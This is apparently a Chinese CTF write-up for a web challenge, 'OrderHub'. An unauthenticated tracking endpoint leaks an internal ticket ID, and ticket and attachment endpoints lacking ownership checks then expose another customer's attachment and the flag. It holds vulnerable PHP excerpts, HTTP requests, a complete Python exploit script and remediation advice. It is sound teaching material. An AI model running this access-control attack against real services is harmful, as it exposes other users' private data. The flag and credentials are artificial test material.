赛事档案库 YQHL Competition Archive 返回主站
WEB-01

OrderHub 客服门户

越权访问(IDOR/BOLA)叠加业务投影泄露:游客查件接口带出了不该出现的内部工单主键。

方向Web
难度 Easy-Medium
题号12 / 20
项目 内容
分类 / 难度 Web / Easy-Medium
类型 越权访问(IDOR / BOLA)+ 业务投影泄露内部标识
登录 alice / alice123(普通客户)
目标 读取客服工单附件里的"安全审查令牌"

1. 界面与初始观察

打开首页是“OrderHub 客服门户”。登录后看到自己的工作台:我的订单、配送进度、客服工单。

后台接口速览(F12 → Network):
GET  /api/me                      当前用户
GET  /api/orders                  我的订单列表
GET  /api/orders/<id>             订单详情
GET  /api/support/track?order_id= 配送查询(注意:这个不需要登录)
GET  /api/tickets/<id>            工单详情
GET  /api/tickets/<id>/attachments/<aid>   工单附件
POST /api/login                   登录

用户 alice 的 id = 101,能看到的订单只有 10001。

{"ok":true,"user":{"id":101,"username":"alice","name":"Alice Zhang","role":"customer"*/>}}

2. 第一步:先试一眼"隔壁订单"

最直觉的做法是改订单号。Alice 的订单是 10001,那就试 10002:

curl -b cookie.txt http://target/api/orders/10002
HTTP/1.1 403 Forbidden
{"error":"无权访问"}

被拦住了。 订单详情接口在服务端做了属主校验:

if (preg_match('#^/api/orders/(\d+)$#', $path, $m) && $method === 'GET') {
    $u = require_auth();
    $order = $data['orders'][(int)$m[1]] ?? null;
    if ($order['owner_id'] !== $u['id']) {
        json_response(['error' => '无权访问'], 403);
    }
    ...
}

这说明"直接改 ID 读别人订单"这条最直觉的路是走不通的——/api/orders/<id> 对属主做了校验。得换一个入口。

3. 第二步:找不需要登录却能"看见"订单的地方

回头看首页——有一个"游客查件"框,不登录也能查物流:

GET /api/support/track?order_id=10002
{
  "order_id": 10002,
  "status": "已完成",
  "carrier": "YQHL Express",
  "support_ticket_id": 793411,
  "note": "游客查询只需订单号。"
}

问题来了:这个接口没有登录校验(require_auth() 根本没调用), 而且返回的 JSON 里除了物流状态,还夹带了一个 support_ticket_id —— 这是内部工单主键,本不该出现在面向游客的响应里。

这就是本题的第一个漏洞:业务对象投影(projection)泄露内部关联标识。

if ($path === '/api/support/track' && $method === 'GET') {
    $orderId = (int)($_GET['order_id'] ?? 0);
    $order = $data['orders'][$orderId] ?? null;
    if (!$order) { json_response(['error' => '订单不存在'], 404); }
    json_response([
        'order_id' => $order['id'],
        'status'   => $order['status'],
        'carrier'  => 'YQHL Express',
        'support_ticket_id' => $order['support_ticket_id'],   /* ← 多给了 */
        'note'     => '游客查询只需订单号。',
    ]);
}

工单 ID 是初始化时随机生成的(本题实测 793411),每个实例不同, 不要硬编码,必须用当前响应返回的那个值。

4. 第三步:用拿到的工单 ID 直接读

现在有了 support_ticket_id = 793411,保持 Alice 的登录态去读:

GET /api/tickets/793411
{
  "id": 793411,
  "owner_id": 102,
  "subject": "企业迁移",
  "status": "内部",
  "messages": [
    {"author": "bob",   "body": "请发送部署包。"},
    {"author": "support","body": "内部包编号:DEPLOY-2026-ALPHA。"}
  ],
  "attachment_ids": [90001, 90002]
}

owner_id: 102 —— 这是 Bob 的工单,不是 Alice 的。但接口返回了 200。

看代码:

if (preg_match('#^/api/tickets/(\d+)$#', $path, $m) && $method === 'GET') {
    require_auth();          /* ← 只检查"登录了没" */
    $id = (int)$m[1];
    $ticket = $data['tickets'][$id] ?? null;
    if (!$ticket) { json_response(['error' => '工单不存在'], 404); }
    ...
    json_response($copy);    /* ← 没检查 $ticket['owner_id'] === $u['id'] */
}

只校验了身份(authentication),没校验授权(authorization)。 这就是第二个漏洞:BOLA / IDOR —— 直接对象引用缺少属主校验。

顺便注意一个细节:正常访问 /api/orders 时列表是过滤过的, 只返回 owner_id === $u['id'] 的订单,所以 Alice 在自己的工单列表里看不到 Bob 的单子。 这不是"列表过滤失效",而是"详情接口没跟上列表的规则"——这种不一致是现实中最常见的越权来源。

5. 第四步:读附件拿 Flag

工单里给了两个附件 ID:90001 和 90002。

GET /api/tickets/793411/attachments/90001
{"id":90001,"name":"deployment-notes.txt",
 "content":"迁移清单\n目标: edge-control.internal\n服务账号: deploy-bot\n"}
GET /api/tickets/793411/attachments/90002
{"id":90002,"name":"customer-export.txt",
 "content":"内部导出标记\n安全审查令牌: flag{local_verify_w01}\n"}

拿到 Flag。

附件接口的校验逻辑

if (preg_match('#^/api/tickets/(\d+)/attachments/(\d+)$#', $path, $m) && $method === 'GET') {
    require_auth();
    $ticket     = $data['tickets'][(int)$m[1]] ?? null;
    $attachment = $ticket['attachments'][(int)$m[2]] ?? null;
    if (!$attachment) { json_response(['error' => '附件不存在'], 404); }
    json_response($attachment);
}

这里确实校验了"附件属于 URL 里的工单"($ticket['attachments'][$aid] 查表), 但没有校验"这个工单属于我"。所以只要第一步拿到了别人的工单 ID, 附件就是一路绿灯。

6. 完整 Exp

#!/usr/bin/env python3
import json, sys, urllib.request, http.cookiejar

BASE = sys.argv[1]                      # 例:http://target:8080
cj = http.cookiejar.CookieJar()
op = urllib.request.build_opener(urllib.request.HTTPCookieProcessor(cj))

def req(path, method="GET", data=None):
    h = {"Content-Type": "application/json"}
    body = json.dumps(data).encode() if data is not None else None
    r = urllib.request.Request(BASE + path, data=body, headers=h, method=method)
    try:
        with op.open(r, timeout=15) as resp:
            return resp.status, resp.read().decode("utf-8", "replace")
    except urllib.error.HTTPError as e:
        return e.code, e.read().decode("utf-8", "replace")

# 1) 以普通客户身份登录
st, b = req("/api/login", "POST", {"username": "alice", "password": "alice123"})
print("[login]", st, b[:120])

# 2) 负例:别人的订单详情应该 403
st, b = req("/api/orders/10002")
print("[orders/10002]", st, b)          # 期望 403

# 3) 游客查件接口泄露 support_ticket_id
st, b = req("/api/support/track?order_id=10002")
print("[track]", st, b)
ticket_id = json.loads(b)["support_ticket_id"]

# 4) 用泄露的工单 ID 越权读详情
st, b = req("/api/tickets/%d" % ticket_id)
print("[ticket]", st, b)

# 5) 读附件
for aid in json.loads(b).get("attachment_ids", [90002]):
    st, b = req("/api/tickets/%d/attachments/%d" % (ticket_id, aid))
    print("[attach %d]" % aid, st, b)
    if "flag{" in b:
        break

7. 实际验证

节点一次性容器(lj-web-01-trap:v1,-p 29951:8080):

[login] 200 {"ok":true,"user":{"id":101,"username":"alice",...*/>}}
[orders/10002] 403 {"error":"无权访问"}
[track] 200 {"order_id":10002,...,"support_ticket_id":793411,...}
[ticket] 200 {"id":793411,"owner_id":102,"subject":"企业迁移",...
[attach 90002] 200 {"id":90002,"name":"customer-export.txt",
                    "content":"内部导出标记\n安全审查令牌: flag{...}\n"}

8. 踩坑记录

现象 原因 处理
一上来 GET /api/orders/10002 就 403,以为题坏了 订单详情确实有属主校验,正面打不进去 换思路:找别的入口
硬编码 writeup 里的工单 ID 返回 404 工单 ID 是首次初始化时随机生成的,每个实例/每次重建都不同 必须从 /api/support/track 的响应里动态取
想直接读 /api/tickets/1、/api/tickets/2 爆破 工单 ID 是 6 位数随机(如 793411),爆破不现实 走 track 拿真实 ID
用未登录状态访问 /api/tickets/<id> 工单/附件接口有 require_auth() 必须保持 Alice 的会话
请求被 CSRF 拦 GET 请求根本不需要 CSRF token(CSRF 只对写操作有意义);写操作得先从 /api/session 取 token 纯 GET 链路不受影响

9. 复盘:真正该怎么修

这不是"随机 ID 不够随机"的问题,工单 ID 已经是随机的了。根因是:

  1. 公共投影混入内部标识 —— /api/support/track 是给游客用的,返回体里就不该有 support_ticket_id 这类内部主键。修复:从投影里删掉该字段;
  2. 对象级授权缺失 —— /api/tickets/<id> 和 /api/tickets/<id>/attachments/<aid> 只做了 require_auth(),没做 $ticket['owner_id'] === $u['id'] || $u['role'] === 'support'。 修复:把写操作(回复/上传/改状态)里已有的属主校验规则,原样补到所有读入口;
  3. 规则不统一 —— 列表接口过滤了,详情接口没过滤。修复:抽出统一的 can_read_ticket($user, $ticket) 判定函数,所有入口共用。

真实项目里这三条经常同时存在,因为"读接口"往往是后加的、由不同的人写的。

10. 一句话总结

游客查件接口把内部工单主键一起吐了出来,工单接口又把"登录"当成了"有权", 两个小疏忽串起来就能跨客户读附件。随机 ID 不能代替对象级授权。